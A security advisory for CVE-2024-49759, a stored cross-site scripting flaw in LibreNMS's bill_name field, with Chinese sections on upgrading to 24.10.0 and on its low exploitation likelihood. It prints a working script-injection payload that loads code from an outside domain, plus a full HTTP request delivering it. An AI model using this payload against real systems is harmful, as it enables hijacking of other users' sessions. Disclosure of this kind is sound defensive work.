CVE-2024-49759

描述

### Summary A Stored Cross-Site Scripting (XSS) vulnerability in the "Manage User Access" page allows authenticated users to inject arbitrary JavaScript through the "bill_name" parameter when creating a new bill. This vulnerability can lead to the execution of malicious code when visiting the "Bill Access" dropdown in the user's "Manage Access" page, potentially compromising user sessions and allowing unauthorized actions. ### Details When creating a new bill, an attacker can inject the following XSS payload into the "bill_name" parameter: ```test1'"><script/src=//15.rs>``` Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code. The payload triggers in the "Bill Access" dropdown when the user's "Manage Access" page is visited. The sink responsible for this issue is: https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/edituser.inc.php#L309 ### PoC 1. Create a new bill using the following payload in the "bill_name" parameter: ```test1'"><script/src=//15.rs>``` 2. Save the bill. 3. Navigate to the "Manage Access" page for the user. 4. Observe that the injected script executes in the "Bill Access" dropdown. Example Request: ```http POST /bill/bill_id=2/view=edit/ HTTP/1.1 Host: <your_host> Content-Type: application/x-www-form-urlencoded Cookie: <your_cookie> _token=<your_token>&action=update_bill&bill_name=test1%27%22%3E%3Cscript%2Fsrc%3D%2F%2F15.rs%3E&bill_type=cdr&bill_cdr=&bill_cdr_type=Kbps&dir_95th=in&bill_quota=&bill_quota_type=MB&bill_day=1&bill_custid=test2%27%22%3E%3Cscript%2Fsrc%3D%2F%2F15.rs%3E&bill_ref=test3%27%22%3E%3Cscript%2Fsrc%3D%2F%2F15.rs%3E&bill_notes=test4%27%22%3E%3Cscript%2Fsrc%3D%2F%2F15.rs%3E&Submit=Save ``` ### Impact This vulnerability allows authenticated users to execute arbitrary JavaScript in the context of other users' sessions when they visit the "Manage Access" page. The attacker can perform unauthorized actions or compromise user accounts by exploiting this vulnerability.

如何修補 CVE-2024-49759

要修補 CVE-2024-49759,請將受影響套件升級到下列已修補版本。

• —升級至 24.10.0 或更新版本

CVE-2024-49759 正在被利用嗎?

低 — EPSS 為 0.4%,目前沒有觀察到大規模利用活動。